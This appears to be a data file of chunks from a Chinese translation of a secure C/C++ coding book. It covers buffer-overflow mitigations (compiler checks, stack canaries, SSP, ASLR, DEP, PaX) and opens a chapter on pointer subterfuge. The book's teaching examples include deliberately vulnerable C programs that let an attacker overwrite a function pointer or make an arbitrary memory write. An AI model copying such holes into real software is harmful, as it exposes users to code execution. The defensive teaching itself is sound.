    {"text": "3.下面的案例已知是不正确的： 1 memcpy(buf, foo, 6); 2 strcpy(buf, \"abcde\"); 在编译时，编译器可以检测到缓冲区溢出。"},
    {"text": "4.最后一种情况是，不知道代码是否正确，并且不能在在运行时检查： 1 memcpy(p, q, n); 2 strcpy(p, q); 编译器不知道缓冲区的大小，并且不进行检查。"},
    {"text": "01 char dest[BUFFER_SIZE]; 02 char *src = /* 合法指针 */; 03 size_t src_end = __builtin_object_size(src, 0); 04 if (src_end == (size_t) -1 && /* 不知道 src 是否太大 */ 05 strlen(src) < BUFFER_SIZE) { 06 strcpy(dest, src); 07 } else if (src_end <= BUFFER_SIZE) { 08 strcpy(dest, src); 09 } else { 10 /* src 会使 dest 溢出 */ 11 } 使用__builtin_object_size（）的优点是，如果它返回一个有效的大小（而不是0或–1），那么在运行时调用strlen（）函数是不必要的，并且可以被旁路，从而提高运行时的性能。"},
    {"text": "__builtin___strcpy_chk（）函数具有如下签名： char *__builtin___strcpy_chk(char *dest, const char *src, size_t dest_end) 这个函数的行为与strcpy（）类似，但它首先检查dest缓冲区是否足够大，以防止缓冲区溢出。"},
    {"text": "如果编译器知道目标字符串的空间大小，但不知道源字符串的长度，它增加了一个运行时检查。 最后，如果编译器不能保证目标字符串有足够的空间，那么它会把调用移交给没有增加检查的标准的strcpy（）函数。"},
    {"text": "未知 2.6.4 Visual Studio中编译器生成的运行时检查 微软的Visual Studio C++编译器提供了几个选项来在运行时启用特定的检查。这些选项可以使用特定的编译器标志来启用。尤其是，/RTCs编译器标志打开了以下错误检查： ·局部变量溢出，如数组（除了在一个内部填充的结构中使用时） ·使用未初始化的变量 ·栈指针损坏，这可能是由于调用约定不匹配造成的 这些标志可以在代码的各区域中调整或关闭。例如，下面的编译指示： #pragma runtime_checks(\"s\", off) 对代码中的任何后续函数关闭/RTCs标志检查。这个检查可以用如下编译指示恢复： #pragma runtime_checks(\"s\", restore) 运行时边界检查 。虽然未向公众公开，但一些现有的C语言编译器和运行时系统确实执行数组边界检查。 Libsafe和Libverify。 Libsafe是Avaya Labs Research 提供的一个动态库，它能限制栈的缓冲区溢出的影响。这个库可以拦截容易产生缓冲区溢出的C库函数并检查其参数范围。这个库确保帧指针和返回地址不能被拦截函数覆盖。同样也是由Baratloo和同事提供的[Baratloo 2000]Libverify库则实现了与Libsafe 类似的返回地址验证方案，但不需要重新编译源代码，这使得它能够用于现有的二进制程序文件。 CRED。 Richard Jones和Paul Kelley[Jones 1997]提出了一个利用引用对象进行边界检测的方法。这种方法基于以下原则：一个根据边界内指针计算出来的地址必定与原始指针指向相同的对象。遗憾的是，数目惊人的现有程序生成并存储边界外地址，然后在计算中又取得这些地址处的值，而这些操作并未造成缓冲区溢出，这就使得这些程序不适宜采用前述的边界检测方式。这种运行时边界检查方式还要付出显著的性能代价，尤其在某些指针密集型的程序中，性能下降可达30倍之多[Cowan 2000]。 Olatunji Ruwase和Monica Lam[Ruwase 2004]在他们的C范围错误侦测器（C Range Error Detector，CRED）中改进了Jones和Kelley的方法。根据作者的说法，CRED执行一种宽松的正确性标准，这是通过允许程序操作不会引起缓冲区溢出的边界外地址而做到的。这个宽松的正确性标准为现有的软件提供了较高的兼容性。 CRED可以被配置为检测所有数据的边界或者仅检测字符串数据的边界。完全边界检测，比如Jones和Kelley的方法，会产生显著的性能开销。将对边界的检查局限于字符串可改善大多数程序的性能。视应用程序中对字符串的使用情况，这种性能的开销范围为1%～130%。 边界检测可以有效地阻止大多数溢出情况，但这种方式并非完美。以CRED方案为例，它无法检测出一个边界外指针首先利用算术操作强制转换为整数然后强制转换回指针的情况。这种方案确实可以防止栈、堆和数据段的溢出。甚至当优化到仅检测字符串溢出的情况时，CRED也可以有效地检测出由John Wilander和Marian Kamkar开发的用于评估动态缓冲区溢出检测器的20种不同的缓冲区溢出攻击[Wilander 2003]。 CRED已经合并到最新的（针对GCC 3.3.1的）Jones和Kelley检测器中，此检测器目前由Herman ten Brugge维护。 Dinakar Dhurjati和Vikram Adve提出了一个改进的集合，包括池分配，这使得编译器生成在运行时在对象表中搜索对象的代码[Dhurjati 2006]。这个改进的性能有显著提高，但开销仍高达69％。"},
    {"text": "未知 2.6.5 栈探测仪 栈探测仪（canary）是另一种用来检测和阻止栈溢出攻击的机制。探测仪用于保护栈上的返回地址免遭通过内存的连续写操作（例如，调用strcpy（）所导致的结果），而不是执行一般化的边界检查。探测仪由一个被写入被保护栈的节地址前面的“难以插入”或“难以伪造”的值构成。为了进入受保护区域，一个连续的写操作将需要覆盖这个值。探测仪在返回地址被保存后立即被初始化，并且在返回地址被访问之前立即被检测。例如，探测仪可以由4种不同的终止字符组成（CR、LF、NULL和-1）。例如，这些终止字符可以保护由于越界strcpy（）调用所产生的缓冲区溢出，因为攻击者需要在他的缓冲区中包含一个空字节。探测仪可以保护由于字符串操作所产生的缓冲区溢出，但不能保护由于内存复制操作而造成的缓冲区溢出。“难以伪造”或随机的探测仪由一个32位的秘密随机数组成，每次随着程序执行它都会发生改变。在探测仪确实保密的情况下，这种方式能够很好地工作。 StackGuard、GCC的栈溢出保护器（Stack-Smashing Protector也被称为ProPolice），以及微软的Visual C++ .NET编译器中作为缓冲区溢出检测能力的那部分，都实现了探测仪。 栈缓冲区溢出检测（stack buffer overrun detection）能力在Visual Studio.NET 2002中被引入C/C++编译器，并已在后续版本更新。/GS编译器开关指示编译器添加启动代码和函数结尾和开始代码以生成和检查被放置在一个函数栈中的一个随机数。如果这个值被损坏，就调用一个处理程序函数来终止应用程序，从而减少试图利用缓冲区溢出的shellcode正确执行的机会。 注意Visual C++2005（及更高版本）对栈上的数据重新排序，也使那些数据难以预见地破坏。例子包括： ·把缓冲区移动到比nonbuffers更高的内存。这一步骤可以帮助保护驻留在栈中的函数指针。 ·在运行时把指针和缓冲区参数移动到较低的内存，以减轻各种缓冲区溢出攻击。 Visual C++2010中包括对/GS的增强，它扩展了用来确定何时对一个函数应该启用/GS以及何时可以安全地将/GS优化掉的启发式。 当使用Visual C++2005的Service Pack1或更高版本时，若要充分利用增强的/GS启发式，需要在常用的头文件中加入以下指令以增加被/GS保护的函数的数量： #pragma strict_gs_check （on ） 在Visual C++2010中，确定哪些函数需要/GS保护的规则比它们在编译器的早期版本中的表现更积极，但strict_gs_check规则比Visual C++2010的规则更积极。即使Visual C++2010达到了很好的平衡，但在面向Internet的产品中应使用strict_gs_check。 要使用Microsoft Visual Studio中的栈缓冲区溢出检测，你应该遵循下面的要求： ·用最新版本的编译器编译代码。在写作的时候，这个版本是VC++2010（cl.exe版本16.00）。 ·若使用比VC++2010早的VC++版本时，需要在常用的头文件中添加#pragma string_gs_check（on）。 ·若使用VC++2010及更高版本，需要在面向互联网的产品中添加#pragma string_gs_check（on）。 ·使用/GS标志进行编译。 ·与用/GS编译的库进行链接。 按照目前的实现，探测仪仅用来阻止那些对“通过从栈中的缓冲区溢出来覆写栈返回地址”的漏洞利用。探测仪无法保护程序免受修改变量、对象指针或函数指针的漏洞利用，也不能阻止发生于任何位置（包括栈段在内）的缓冲区溢出。它们只有在这些缓冲区溢出事件发生后才能检测到其中某些事件。 不管是终结符探测仪还是随机探测仪都无法抵御通过直接覆写返回地址位置字节的漏洞利用[Bulba 2000]。为了解决这些直接访问的漏洞利用，StackGuard加入随机异或探测仪（Random XOR canaries）[Wagle 2003]，将返回地址与该探测仪进行异或计算。当然，这种方法也只有在探测仪保持秘密的情况下才能有效保护返回地址。总之，探测仪提供了弱的运行时保护。"},
    {"text": "未知 2.6.6 栈溢出保护器 在4.1版本中，GCC引入了栈溢出保护（SSP）的功能，它实现了来自StackGuard的探测仪[Etoh 2000]。SSP也被称为ProPolice，它是GCC的一个扩展，用以保护用C编写的应用程序免遭大多数常见形式的栈缓冲区溢出的漏洞利用，它以GCC的中间语言翻译器的形式实现。SSP提供了缓冲区溢出检测和变量重排序技术来防止对指针的破坏。特别是，SSP对局部变量重排序，将缓冲区放到指针后面，并且将函数参数中的指针复制到局部变量缓冲区之前的区域，从而防止了对指针的破坏（这些指针可被用于进一步破坏任意内存位置）。 SSP特性通过GCC的命令行参数启用，-fstack-protector和-fno-stack-protector选项可以为带有易受攻击的对象（如数组）的函数打开或关闭栈溢出保护。-fstack-protector-all和-fno-stack-protector-all选项可以打开或关闭对每一个函数的保护，而不仅仅局限于对具有字符数组的函数的保护。最后，使用-fstack-protector时，-Wstack-protector option选项对没有获得栈保护的函数发出警告。 SSP的工作原理是引入一个探测仪变量，以检测对栈上的参数、返回地址和前面的帧指针的改变。SSP用如下步骤将代码片段插入到合适的位置：在应用程序初始化期间，产生一个随机数作为哨位值，以防止未授权用户的窥探。遗憾的是，这个动作很容易耗尽系统的熵。 SSP还提供了一种更安全的栈结构，如图2.18所示。 图2.18 栈溢出保护（SSP）栈结构 此结构建立了以下限制： ·位置（A）没有数组或指针变量。 ·位置（B）有数组或包含数组的结构。 ·位置（C）没有数组。 将哨位放到包含数组的数据区（B）后面可以阻止对参数、返回地址、前帧指针（previous frame pointer）或局部变量（不包括其他数组）进行覆盖的缓冲区溢出攻击。例如，编译器不能重新排列struct成员，所以如下类型的栈对象仍未得到保护。 1 struct S { 2 char buffer[40]; 3 void (*f)(struct S*); 4 }; 未知 2.6.7 操作系统策略 本节描述的预防策略，是平台运行时支撑环境的一部分，包括操作系统和硬件。它们由操作系统启用，并且由操作系统控制。在这样的环境下运行的程序不需要知道这些附加的安全性措施，因此，这些策略对于执行源代码不可获得的程序是有用的。 遗憾的是，这种优势也可以是一个缺点，因为在运行过程中额外的安全检查，可能意外地改变或停止非恶意程序的执行，往往是由于在程序中有先前不知道的错误。因此，这样的运行时策略可能无法应用到所有可以在该平台上运行的程序上。必须允许某些程序运行时禁用这种策略，这就需要保持一个豁免此策略的程序白名单，除非精心维护，否则这样一份白名单会允许攻击者针对白名单中的程序发起攻击，从而完全绕过运行时的安全性。"},
    {"text": "未知 2.6.8 检测和恢复 地址空间布局随机化（Address Space Layout Randomization，ASLR）是许多操作系统的一项安全功能，其目的是为了防止执行任意代码。该功能对程序所使用的内存页的地址随机化。ASLR不能防止在栈上的返回地址被基于栈的溢出覆写。然而，通过对栈页地址随机化，可以防止攻击者正确地预测外壳代码、系统函数，或他们想调用的面向返回值编程的小工具地址。一些ASLR实现在每次程序运行时对内存地址随机化。因此，如果重新启动该程序（也许是因为崩溃），泄漏的内存地址就没用了。 ASLR降低成功攻击的可能性，但并没有消除这种可能性。因为在理论上，攻击者是有可能正确地预测或猜测他们的外壳代码的地址并用这个值覆写栈上的返回指针的。 此外，即使基于每次调用都随机化地址的实现，ASLR仍可以被一个长期运行的进程上的攻击者绕过。如果攻击者能发现它的地址，他们就可以执行他们的外壳代码，而无须终止进程。例如，通过利用一个格式字符串漏洞或其他信息泄露来显示内存的内容，就可以做到这一点。 Linux。 ASLR技术于2000年首次引入到Linux的PaX项目。虽然PaX补丁并没有被提交到主流Linux内核，但它的许多功能都被纳入主流的Linux发行版。例如，自2008年以来和自2007年以来的ASLR一直是Ubuntu和Debian的一部分。这两个平台都允许通过下面的命令对ASLR进行精细的调优： sysctl -w kernel.randomize_va_space=2 大多数平台在引导过程中执行此命令。randomize_va_space参数可能会取以下值： 0.完全关闭ASLR。这仅在不支持此功能的平台上是默认的。 1.对栈、库和位置无关的二进制程序打开ASLR。 2.对堆以及对由选项1随机化的内存打开ASLR。 Windows。 自从Vista以来，ASLR一直在Windows中可用。在Windows中，当系统启动后，ASLR把可执行映像移动到任意位置，使利用代码更难执行可预见的操作。对于一个支持ASLR技术的组件，它加载的所有组件也必须支持ASLR。例如，如果A.exe依赖于B.dll和C.dll，那么所有这三个程序都必须支持ASLR。默认情况下，Windows Vista和Windows操作系统的后续版本对系统的动态链接库（DLL）和可执行文件（EXE文件）进行随机化。然而，自定义DLL和EXE的开发人员必须选择使用/DYNAMICBASE链接器选项以支持ASLR。 Windows的ASLR也随机化堆和栈内存。堆管理器会在一个随机位置创建堆，以帮助减少企图利用基于堆的缓冲区溢出的漏洞利用获得成功的机会。对运行于Windows Vista和更高版本上的所有应用程序，默认情况下，堆随机化都是启用的。当一个线程在一个用/DYNAMICBASE链接的进程中启动时，Windows Vista和更高版本的Windows把线程的栈移动到一个随机位置，以帮助减少基于栈的缓冲区溢出的利用代码获得成功的机会。 要在Microsoft Windows下启用ASLR，你应该遵循如下规范。 ·用微软的链接器版本8.00.50727.161（第一个支持ASLR的版本）或更高版本来链接 ·用/DYNAMICBASE链接开关链接，若使用微软链接器版本10.0或更高版本，则默认启用/DYNAMICBASE ·在Windows Vista和更高版本测试你的应用程序，并记录和修复由于使用ASLR产生的故障 未知 2.6.9 不可执行栈 不可执行栈是一种针对缓冲区溢出的运行时解决方案，设计它的目的在于防止在栈段（stack segment）内运行可执行代码。很多操作系统都可以被配置为使用不可执行栈。 不可执行栈常常被描绘成防范缓冲区溢出漏洞的“万能药”，然而，不可执行栈只能防止在栈内存中的恶意代码执行。它们并不能阻止堆或数据段的缓冲区溢出。它们阻止不了攻击者利用缓冲区溢出来修改返回地址、变量、对象指针或函数指针。它们对在堆或数据段内的弧注入或可执行代码注入也无能为力。禁止攻击者在栈中执行代码能够阻止对某些漏洞的利用，但对攻击者而言这种方式往往形同虚设。 不可执行栈在不同的实现机制下对性能有着不同的影响。它还有可能使得一些依赖于在栈段内执行代码的程序（包括Linux signal delivery和GCC trampolines等）无法工作。"},
    {"text": "未知 2.6.10 W^X 多种操作系统，包括OpenBSD、Windows、Linux和OS X，在内核强制减少权限，使得进程地址空间中的任何部分都不能同时既可写又可执行。这一策略被称为W xor X，或更为简洁的W ^ X，并通过使用多种CPU的不执行（No eXecute，NX）位来支持这种功能。 NX位使内存页可以标记为数据，以禁用这些页面上的代码的执行。该位在AMD的CPU上名为NX，在Intel CPU上名为XD（eXecute Disable，执行禁用），而在ARM版本6和更高版本的CPU上名为XN（eXecute Never，从不执行）。大部分最新的英特尔CPU和目前所有的AMD CPU都支持此功能。 W^X要求，不是程序本身的一部分的任何代码，都不可以执行。这可以防止执行栈、堆或数据段上的shellcode。W^X还可以防止故意在数据页执行代码。例如，一个即时（Just-In-Time，JIT）编译器通常从外部数据（如字节码）构造汇编代码，然后执行它。要在这样的环境中工作，JIT编译器必须符合这些限制，例如，确保包含可执行指令的页面被适当地标记。 数据执行保护 。数据执行保护（Data Execution Prevention，DEP）是W^X策略在微软Visual Studio中的实现。DEP使用NX技术，以防止存储在数据段中的指令的执行。这个功能自XP Service Pack2以来一直在Windows中可用。DEP假设：不是程序本身的一部分的任何代码都不可执行。因此，它不妥善地处理在“禁止”页面中试图执行的代码。例如，JIT编译器通常从外部数据（如字节码）构造汇编代码，然后执行它，这种操作只能被DEP阻止。此外，DEP经常可以揭露隐藏在软件中的错误。 如果你的应用程序是针对Windows XP Service Pack3开发的，那么你应该调用SetProcessDEPPolicy（）来强制执行DEP/NX。如果不清楚应用程序是否将运行在一个低级别的平台，包括对SetProcessDEPPolicy（）的支持，请尽早在启动代码中调用以下代码。 01 BOOL __cdecl EnableNX(void) { 02 HMODULE hK = GetModuleHandleW(L\"KERNEL32.DLL\"); 03 BOOL (WINAPI *pfnSetDEP)(DWORD); 04 05 *(FARPROC *) &pfnSetDEP = 06 GetProcAddress(hK, \"SetProcessDEPPolicy\"); 07 if (pfnSetDEP) 08 return (*pfnSetDEP)(PROCESS_DEP_ENABLE); 09 return(FALSE); 10 } 如果你的应用程序包含自修改代码或执行JIT编译，那么DEP可能导致应用程序失败。为了缓解这个问题，你还是应该选择DEP（见下面的链接器开关）并把将用于JIT编译的任何数据标记如下。 01 PVOID pBuff = VirtualAlloc(NULL,4096,MEM_COMMIT,PAGE_READWRITE); 02 if (pBuff) { 03 // 复制可执行的汇编（ASM ）代码至缓冲区 04 memcpy_s(pBuff, 4096); 05 06 // 缓冲区已就绪，因此把它标记为可执行并执行写保护 07 DWORD dwOldProtect = 0; 08 if (!VirtualProtect(pBuff,4096,PAGE_EXECUTE_READ,&dwOldProtect) 09 ) { 10 // 出错 11 } else { 12 // 调用pBuff 13 } 14 VirtualFree(pBuff,0,MEM_RELEASE); 15 } DEP / NX对Windows的性能没有影响。要启用DEP，你应该把你的代码用/NXCOMPAT链接或调用SetProcessDEPPolicy（）并在具有DEP功能的CPU上测试你的应用程序，然后记录并修复任何因使用DEP而导致的故障。在Vista或更高版本的Windows中，使用/NXCOMPAT类似于调用SetProcessDEPPolicy（）。不过，Windows XP的装载器不能识别/NXCOMPAT链接选项。因此，使用SetProcessDEPPolicy（）一般是首选的。 ASLR和DEP在Windows平台上提供不同的保护。因此，你应该对所有的二进制文件同时启用（/DYNAMICBASE和/NXCOMPAT）两种机制。 未知 2.6.11 PaX 在Linux中，不可执行栈的概念最先由PaX内核补丁提出。PaX特别把程序内存标记为不可写的，并把数据内存标记为不可执行的。PaX还提供了地址空间布局随机化（ASLR，在2.6.1节处讨论）。它终止任何试图将控制转移到不可执行的内存的程序。如果NX技术可用，PaX可以使用它，否则，PaX可以效仿它（代价是较慢的性能）。把那些将控制转移到不可执行的内存的尝试中断可以减少任何远程代码执行或信息泄露漏洞攻击，导致一个单纯的拒绝服务攻击，这使得PaX对于 DoS是保护信息或防止弧注入的一个可以接受的后果的系统的理想选择。无法容忍DoS的系统不应该使用PaX。PaX是现在的grsecurity项目的一部分，该项目为Linux内核提供了一些额外的安全增强。 StackGap。 很多基于栈的缓冲区溢出的利用都依赖于内存中一个已知位置的缓冲区。如果攻击者能够覆盖位于溢出缓冲区内一个固定位置的函数返回地址，就能执行攻击者提供的代码。如果在栈中分配栈内存时加入随机大小的空隙，则可以使得攻击者更难定位栈上的返回地址并仅消耗一页实存（real memory）。这对栈的起始地址加入了随机偏移量，因此攻击者不会从程序的一次运行而知道下一次运行的栈上的任何项目的绝对地址。这种缓解措施，通过把与先前显示的、允许让JIT编译的相同的代码添加到Linux内核，可以相对容易地添加到一种操作系统。 虽然Stackgap使得攻击者对漏洞的利用变得更加困难，但它并不能阻止攻击者利用相对地址而非绝对地址发起攻击。 其他平台 。ASLR自2007年以来，在自2007年以来Mac OS X（10.5）中是部分可用的，并自2011年（10.7）以来是全部功能都可用的。自4.3版本以来，它也一直在iOS中可用（用于iPhone和iPad）。"},
    {"text": "未知 2.6.12 未来发展方向 未来的缓冲区溢出预防机制将超过惠普aCC、英特尔ICC和GCC编译器的现有能力，提供完整的覆盖，它通过把更深入的编译时检查和运行时检查相结合，并尽量减少所需的开销来实现这一目标。这样的机制之一是有安全保证的C/C++（Safe-Secure C/C++，SSCC）。 SSCC推断函数的要求和保证，并利用它们来发现是否满足所有要求。例如，在下面的函数中，n必须是一个s指针所指向的数组的合适大小。此外，返回的字符串保证以空字符结尾。 1 char *substring_before(char *s, size_t n, char c) { 2 for (int i = 0; i < n; ++i) 3 if (s[i] == c) { 4 s[i] = '\\0'; 5 return s; 6 } 7 s[0] = '\\0'; 8 return s; 9 } 为了发现和跟踪函数和源文件之间的要求和保证，SSCC使用了一个边界数据文件。图2.19显示了SSCC机制的一种可能的实现。 图2.19 一个可能的“有安全保证的”C/C++（SSCC）实现 如果给SSCC提供应用程序的整个源代码，包括所有的库，它就可以保证不存在缓冲区溢出。 未知 2.7 著名的漏洞 本节描述一些由于不正确的字符串操作所造成的著名的缓冲区溢出漏洞。很多有名的安全事件，包括Morris蠕虫和W32.Blaster.Worm，都是缓冲区溢出漏洞造成的。 未知 2.7.1 远程登录 很多UNIX系统都提供了rlogin程序。rlogin程序可以用于建立从用户终端到远程主机的远程登录会话。rlogin程序将用户的当前终端定义（由TERM环境变量定义）传递给远程主机。很多rlogin程序的实现都包含一个无界字符串复制，即将TERM环境变量复制到一个声明为本地栈变量的1024个字符长的字符数组中。这个缓冲区溢出可被利用以破坏栈并且以root权限执行任意的代码。 1997年2月6日发布的CERT第CA-1997-06号报告“Vulnerability in rlogin/term”（rlogin/term的漏洞）描述了这个问题 [1] 。Larry Rogers则提供了关于rlogin缓冲区溢出漏洞的深入描述[Rogers 1998]。 [1] 参见www.cert.org/advisories/CA-1997-06.html。 未知 2.7.2 Kerberos Kerberos是一个网络验证协议，它利用密钥加密算法为客户端/服务器应用提供强验证机制。麻省理工学院（Massachusetts Institute of Technology，MIT）提供了该协议的一个免费实现。很多商业产品也提供了Kerberos实现 [1] 。 在MIT的Kerberos5的源代码发布版中，与Kerberos4兼容的代码包含一个漏洞。在krb_rd_req（）函数中存在一个缓冲区溢出漏洞，所有使用Kerberos4进行鉴别的Kerberos鉴别服务都会用到这个函数。该漏洞在以下材料中有深入的描述： ·“Buffer Overrun Vulnerabilities in Kerberos”（Kerberos 中的缓冲区溢出漏洞）：http://web.mit.edu/kerberos/www/advisories/krb4buf.txt ·CERT 公告CA-2000-06：“Multiple Buffer Overflows in Kerberos Authenticated Services”（Kerberos验证服务中的多个缓冲区溢出漏洞）www.cert.org/advisories/CA-2000-06.html 攻击者可以利用该漏洞通过网络获得root访问权限。该漏洞之所以值得注意，不仅仅因为其影响和严重性，更是因为它象征着所有司空见惯的安全漏洞都出现在那些致力于改善系统安全性的产品中。 [1] 参见http://web.mit.edu/kerberos/www/。"},
    {"text": "未知 2.8 小结 当在为一个特定数据结构分配的内存的边界之外写入数据时，就会发生缓冲区溢出。缓冲区溢出在C和C++程序中司空见惯，因为这两种语言：（1）将字符串定义为以空字符结尾的字符数组；（2）不进行隐式的边界检查；（3）提供了不执行边界检查的标准字符串调用库。这些属性与程序员的漫不经心交织在一起，导致了缓冲区溢出漏洞的发生。 缓冲区溢出是一个棘手的问题，因为在软件应用程序的开发和测试阶段都难以侦测到它们。常用的C和C++编译器在编译时并不识别可能的缓冲区溢出情形，在运行时也不会报告缓冲区溢出异常。只有当测试数据能够引发一个可侦测的溢出时，才能使用动态分析工具来探查缓冲区溢出。 并非所有的缓冲区溢出都会导致可利用的软件漏洞。然而，如果程序的输入数据是由（可能怀有恶意的）用户控制的，那么缓冲区溢出就很可能会造成程序漏洞，从而易受攻击。甚至那些不属于明显漏洞的缓冲区溢出也可能会招致危险。 缓冲区溢出是软件漏洞的一个主要来源。未提供类型安全的语言，例如C和C++，尤其容易产生这种漏洞。现有的利用代码已经存在于多种流行的软硬件平台上，包括Windows、Linux、Solaris和其他一些常见的操作系统，以及常见的硬件架构如Intel、SPARC和Motorola。 针对这种情况，常见的缓解策略就是采用新的、提供更多安全保障的字符串操作库。现在已经有很多这种类型的替代库和函数，它们有着自己的设计哲学，用户可根据自身需要选用。例如，C11附录K边界检查接口就是为既有函数调用设计的方便的替代品。因此，这些函数可以作为预防性的维护措施，以减少现有遗留代码库产生漏洞的可能性。在选择一个适当的程序设计途径时，往往需要在方便和安全之间作出权衡。对于一个给定的输入集合，更安全的函数通常都拥有更多的错误条件，而不那么安全的函数则是尽力给出有效的结果。对库的选择也受到所选择的语言、平台以及可移植性问题的制约。 现在已经有一些可行的缓解策略，它们有助于消除由于缓冲区溢出所导致的漏洞。采用所有可用的避免策略是不实际的，因为每一种策略都要付出工作量，都有时间和许可费用的开销。不过，有些策略彼此互补得很好。在审查源代码的过程中，静态分析可用于识别潜在的问题。源代码审查和测试需要分析相同的问题，因此也会分摊一些开销。可以结合使用动态分析和测试手段来识别溢出条件。 运行时解决方案，例如边界检查、探测仪和安全库，都具有运行时性能开销并且可能发生冲突。例如将探测仪与安全库一起使用并无意义，因为它们多是以不同的方式执行或多或少相同的功能。 缓冲区溢出是最常见的软件漏洞来源，因此绝不应轻视它。我们建议，只要有可能的话，最好采用多种策略进行深层防御（defense-in-depth）。然而，预防缓冲区溢出的首要策略是教育开发者如何避免写出有漏洞的代码。 未知 2.9 阅读材料 “Smashing the Stack for Fun and Profit”是Aleph One所写的有关缓冲区溢出的开创性论文[Aleph 1996]。“Building Secure Software”（构建安全的软件）[Viega 2002]则提供了对堆溢出和栈溢出的深入讨论。 未知 第3章 指针诡计 与Rob Murawski合著 [1] Tush!tush!fear boys with bugs. —William Shakespeare.The Taming of the Shrew.act1.scene2 指针诡计（pointer subterfuge）是通过修改指针值来利用程序漏洞的方法的统称[Pincus 2004]。C和C++的对象指针和函数指针是有区别的。指向void或指向一个对象类型的指针的类型被称为对象指针类型（object pointer type）。可以指定一个函数的指针类型被称为函数指针类型（function pointer type）。指向类型T的对象的指针被称为“指向T的指针”。C++还定义了一种成员指针类型（pointer to member type），它是指定一个非静态类成员的指针类型。 可以通过覆盖函数指针将程序的控制权转移到攻击者提供的外壳代码（shellcode）。当程序通过函数指针执行一个函数调用时，攻击者提供的代码将会取代原本希望执行的代码而得到执行。 对象指针也可以被修改，从而执行任意代码。如果一个对象指针用作后继赋值操作的目的地址，那么攻击者就可以通过控制该地址从而修改内存其他位置中的内容。 本章详细解释了函数指针和对象指针的修改问题。与本书其他各章的不同之处在于，本章在介绍了如何初步利用漏洞后（如缓冲区溢出），还详细讨论了攻击者可能如何进一步地执行任意的代码。预防指针诡计非常困难，最佳缓解措施就是在编程阶段消除漏洞。在进一步讨论指针诡计之前，让我们首先了解数据的声明与它在内存中存储位置之间的关系。 [1] Rob Murawski 是卡内基梅隆大学软件工程研究所（SEI）CERT 计划技术团队中的一员。"},
    {"text": "未知 3.1 数据位置 有大量的漏洞利用代码可以用来覆写函数指针或对象指针，其中包括缓冲区溢出。 缓冲区溢出通常是由边界不足的循环引起的。通常，有以下这些循环类型： 由上界限制的循环： 循环重复执行N次，其中N小于或等于p的边界，指针指定一系列对象，例如，从p到p+N-1。 由下界限制的循环： 循环重复执行N次，其中N小于或等于p的边界，指针指定一系列对象，例如，从p到p-N+1。 由数组的末元素地址（又名Hi）限制的循环： 循环递增一个间接的指针，直到它等于Hi。 由数组的首元素地址（又名Lo）限制的循环： 循环递减一个间接的指针，直到它等于Lo。 由空终止符限制的循环： 循环递增一个间接的指针，直到它的目标为空。 要使这些循环类型的缓冲区溢出能被用于覆写函数指针或对象指针，下列条件必须同时成立。 1.缓冲区与目标函数指针或者对象指针必须分配在同一个段内。 2.对于由上界限制的循环、由Hi限制的循环，或由空终止符限制的循环，缓冲区必须位于比目标函数指针或者对象指针更低的内存地址处。对于由下界限制的循环或由Lo限制的循环，缓冲区必须位于比目标函数指针或者对象指针更高的内存地址处。 3.该缓冲区必须是界限不充分的，因此容易被缓冲区溢出利用。 要确定缓冲区和目标函数或者对象指针是否位于同一段内，首先必须了解不同的变量类型是如何在不同的内存段中分配的。 UNIX可执行文件包含data段和BSS [1] 段。data段包含了所有已初始化的全局变量和常数。BSS段包含了所有未初始化的全局变量。将已初始化和未初始化变量分开是为了让汇编器不将未初始化的变量内容（BSS段）写入目标文件中。 例3.1展示了一个变量的声明及其存储位置的关系。代码中的注释说明了每一个变量的存储空间分别分配在哪里。 例3.1 数据声明和进程内存组织 01 static int GLOBAL_INIT = 1; /* 数据段, 全局 */ 02 static int global_uninit; /* BSS 段, 全局 */ 03 04 int main(int argc, char **argv) { /* 栈, 局部 */ 05 int local_init = 1; /* 栈, 局部 */ 06 int local_uninit; /* 栈, 局部 */ 07 static int local_static_init = 1; /* 数据段, 局部 */ 08 static int local_static_uninit; /* BSS 段, 局部 */ 09 /* buff_ptr 的存储空间是栈, 局部 */ 10 /* 分配的内存是堆, 局部 */ 11 int *buff_ptr = (int *)malloc(32); 12 } 虽然UNIX和Windows的内存组织有很多不同之处，但例3.1的示例程序中展示的变量在这两种操作系统中遵循同样的分配模式。 [1] BSS是“符号开始的块”（block started by symbol）的缩写，但全称很不常用。 未知 3.2 函数指针 虽然栈溢出（连同很多基于堆的攻击）不可能发生于数据段（data segment）中，但是覆写函数指针在任何内存段中都会发生。 例3.2包含了一个有漏洞的程序，其BSS段中的一个函数指针可以被覆写。第3行声明的静态字符数组buff和第4行声明的静态函数指针funcPtr都是未初始化的，并且存储于BSS段中。第6行对strncpy（）的调用是对有界字符串复制函数的非安全调用的演示。当argv[1]的长度大于BUFFSIZE的时候，就会发生缓冲区溢出。这个缓冲区溢出漏洞可以被利用来将函数指针值覆写为外壳代码的地址，从而将程序的控制权转移到任意的代码。当程序执行到第7行、执行由funcPtr标识的函数时，外壳代码将会取代good_function（）得以执行。 例3.2 BSS段中导致缓冲区溢出的程序漏洞 1 void good_function(const char *str) {...} 2 int main(int argc, char *argv[]) { 3 static char buff[BUFFSIZE]; 4 static void (*funcPtr)(const char *str); 5 funcPtr = &good_function; 6 strncpy(buff, argv[1], strlen(argv[1])); 7 (void)(*funcPtr)(argv[2]); 8 } 有一个朴素的缓冲区溢出缓解策略是将栈缓冲区重新声明为全局静态变量或局部静态变量，以降低栈溢出攻击的可能性。然而，将缓冲区重新声明为全局变量并不是一个完备的解决方案，因为我们已经看到，数据段内同样可能出现可利用的缓冲区溢出漏洞。"},
    {"text": "未知 3.3 对象指针 对象指针在C和C++程序中无处不在。Kernighan和Ritchie[Kernighan 1988]对此有如下评论。 指针在C中得以大量使用，部分原因是它们通常能产生更紧凑、更高效的代码，而用其他手段则无法做到这一点。 C和C++中的对象指针用于指向动态分配的结构、函数的引用参数、数组以及其他对象。这些对象指针可能会被攻击者修改，比如当利用一个缓冲区溢出漏洞的时候。如果一个指针接下来被用作一个赋值操作的目的地址，那么攻击者就可以通过控制该地址达到修改其他内存位置内容的目的，这种技术也称为“任意内存写”（arbitrary memory write）。 例3.3包含了一个有漏洞的程序，可以被利用来实现任意内存写。程序第5行包含一个无界内存复制。在溢出缓冲区后，攻击者可以覆写ptr和val。当接下来在第6行中计算*ptr=val时，就会发生任意内存写。另外，某些常见的动态内存管理错误也使攻击者有机会修改对象指针。 例3.3 修改对象指针 1 void foo(void * arg, size_t len) { 2 char buff[100]; 3 long val = ...; 4 long *ptr = ...; 5 memcpy(buff, arg, len); 6 *ptr = val; 7 ... 8 return; 9 } 